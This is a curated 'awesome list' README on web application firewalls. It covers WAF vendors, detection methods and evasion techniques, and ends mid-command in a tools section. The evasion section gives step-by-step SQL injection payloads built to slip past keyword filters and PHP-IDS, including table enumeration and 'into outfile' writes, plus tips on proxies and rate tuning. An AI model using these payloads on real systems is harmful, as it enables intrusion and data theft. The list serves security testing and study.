# Awesome WAF ![Awesome](https://camo.githubusercontent.com/13c4e50d88df7178ae1882a203ed57b641674f94/68747470733a2f2f63646e2e7261776769742e636f6d2f73696e647265736f726875732f617765736f6d652f643733303566333864323966656437386661383536353265336136336531353464643865383832392f6d656469612f62616467652e737667 "Awesome")
> A curated list of awesome WAF stuff.
> __NOTE:__ This awesome list is a work in progress list. Have a watch out there! :)
![Main Logo](images/how-wafs-work.png 'How wafs work')
__A Concise Definition:__ A web application firewall is a form of firewall with a set of configured rules that controls input, output, and/or access from, to, or by an application or service. It operates by monitoring and potentially blocking the input, output, or system service calls that do not meet the configured policy of the firewall. *(Source [Wikipedia](https://en.wikipedia.org/wiki/Application_firewall))*
Feel free to [contribute](CONTRIBUTING.md).
### Contents:
- [Awesome WAFs List](#awesome-waf-list)
- [Awesome Testing Methodology](#testing-methodology)
- [Awesome WAF Detection](#waf-detection)
- [Awesome Evasion Techniques](#evasion-techniques)
- [Awesome Tools](#awesome-tools)
- [Awesome Blogs & Writeups](#blogs-and-writeups)
- [Awesome Presentations & Papers](#presentations--research-papers)
## Awesome WAFs List
360 WangZhanBao
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A WAF solution from 360 Security Team.
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Airlock
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The Airlock Web Application Firewall offers a unique combination of protective mechanisms for web applications. Each access is systematically monitored and filtered at every level. It features reverse proxy, central checkpoint, filtering, API security and dynamic whitelisting.
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Anquanbao
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A cloud based WAF solution for enterprises featuring big data analysis, clustering solutions, content optimisations, and access accelerations.
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Armor
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A virtual WAF solution by Armor technologies which protects web-applications from OWASP top 10 attacks and features accurate response and remediation via applied intelligence from their threat centre.
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Application Security Manager
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A comprehensive web application firewall from F5 Networks that protects apps and data from known and unknown threats, defends against bots that bypass standard protections, and virtually patches app vulnerabilities.
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Amazon AWS WAF
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A WAF solution from Amazon AWS that features full time web-traffic filtering, virtual patching, traffic visibility, attack transparency integrated with customisable rules.
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Baidu Cloud WAF
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A cloud based protection system from Baidu to effectively defend against web application attacks. It features cloud based real-time protections, load balancing, DDoS protection and its own content-delivery network.
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Barracuda
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A WAF solution from Barracuda Networks featuring web aplication, API, and mobile apps against various attacks. Beside it provides DDoS protections, automated attack and bot protections, access controls and authentication protections.
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BinarySEC
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A solution from BinarySec which provides all round security protections from many kinds of threats. BinarySec WAF allows active whitelisting while peotecting your site from major known threats and malware.
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BlockDoS
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A WAF solution which features high performance in-built content delivery systems, custom SSL, DNS protection, dynamic caching and stable DDoS protection.
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ChinaCache
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A featured firewall for China which features its own content-delivery network, virtual patching and constant threat discovery transparency report.
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Kona Site Defender
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A cloud based WAF solution from Akamai technologies that feaures a proprietary WAF rule set, created and automatically updated based on visibility into the latest attacks with protections. It provides API security integrated with DevOps security, report visibility, etc.
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## Testing Methodology
Alright, now lets see the approach of testing WAFs. Wait, before that we need to know how they work right? Here you go.
### How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
### Operation Modes:
- __Negative Model (Blacklist based)__ -
One that defines what is not allowed. Eg. Block all `` inputs.
- __Positive Model (Whitelist based)__ -
One that defines what is allowed and rejects everything else.
- __Mixed/Hybrid Model (Inclusive model)__ -
One that uses a mixed concept of blacklisting and whitelisting stuff.
### Where To Look:
- Always look out for common ports that expose that a WAF `80`, `443`, `8000`, `8008`, `8080`, `8088`.
> __Tip:__ You can use automate this easily by commandline using a screenshot taker like [WebScreenShot](https://github.com/maaaaz/webscreenshot).
- Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (eg. Citrix Netscaler, Big IP WAF).
- Some (often rare) expose themselves in the `Server` header
- Some WAFs expose themselves in the response content (eg. DotDefender, Armor, truShield Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight).
### Detection Techniques:
1. Make a normal GET request from a browser, intercept and test response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. If there is a login page somewhere, try some common (easily detectable) payloads like `' or 1 = 1 --`.
4. If there is some search box or input field somewhere, try detecting payloads like ``.
5. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
6. Many a times, the WAF varies the `Server` header upon different types of interactions.
7. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
8. Side Channel Attacks - Examine the timing behaviour of the request and response content.
## WAF Detection
Wanna detect WAFs? Lets see how.
> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#awesome-tools).
## Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
### Fuzzing/Bruteforcing:
#### Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing - [Seclists Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
- Can be done with automated tools like BurpSuite Intruder.
#### Technique:
- Load up your wordlist into Burp Intruder/custom fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs)
- Always use proxies, since chances are real that your IP gets blocked.
__Drawback:__
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
### Regex-Reversing:
#### Method:
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
#### Techniques:
##### • Step 1:
__Keyword filer__: `and`, `or`, `union`
__Possible PHP Filter Code__: `preg_match('/(and|or|union)/i', $id)`
- __Filtered Injection__: `union select user, password from users`
- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
##### • Step 2:
__Keyword filer__: `and`, `or`, `union`, `where`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where)/i', $id)`
- __Filtered Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`
##### • Step 3:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit)/i', $id)`
- __Filtered Injection__: `1 || (select user from users limit 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
##### • Step 4:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by)/i', $id)`
- __Filtered Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
##### • Step 5:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select)/i', $id)`
- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
##### • Step 6:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)`
- __Filtered Injection__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
##### • Step 7:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)`
- __Filtered Injection__: `1 || substr(user,1,1) = unhex(61)`
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
##### • Step 8:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)`
- __Filtered Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- __Bypassed Injection__: `1 || lpad(user,7,1)`
##### • Step 9:
__Keyword filer__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
__Possible PHP Filter Code__: `preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)`
- __Filtered Injection__: `1 || lpad(user,7,1)`
- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`
---
__PHP-IDS__ generally blocks input containing `=` or `(` or `'` following with any a string or integer e.g. `1 or 1=1`, `1 or '1'`, `1 or char(97)`. However, it can be bypassed using a statement that does not contain `=`, `(` or `'` symbols.
#### Scenario 1:
- __Filtered Injection__: `1 or 1 = 1`
- __Bypassed Injection__: `1 or 1`
#### Scenario 2:
- __Filtered injection__: `1 union select 1, table_name from information_schema.tables where table_name = 'users'`
- __Filtered Injection__: `1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'`
- __Filtered Injection__: `1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)`
- __Bypassed Injection__: `1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a`
- __Bypassed Injection__: `1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273`
__Drawbacks:__
- This method is time consuming.
## Google Dorks Approach:
## Awesome Tools
### WAF Fingerprinting:
__1. Fingerprinting with [NMap](https://nmap.org)__:
__Source:__ [GitHub](https://github.com/nmap/nmap) | [SVN](http://svn.nmap.org)
- Normal WAF Fingerprinting
```
nmap --script=http-waf-fingerprint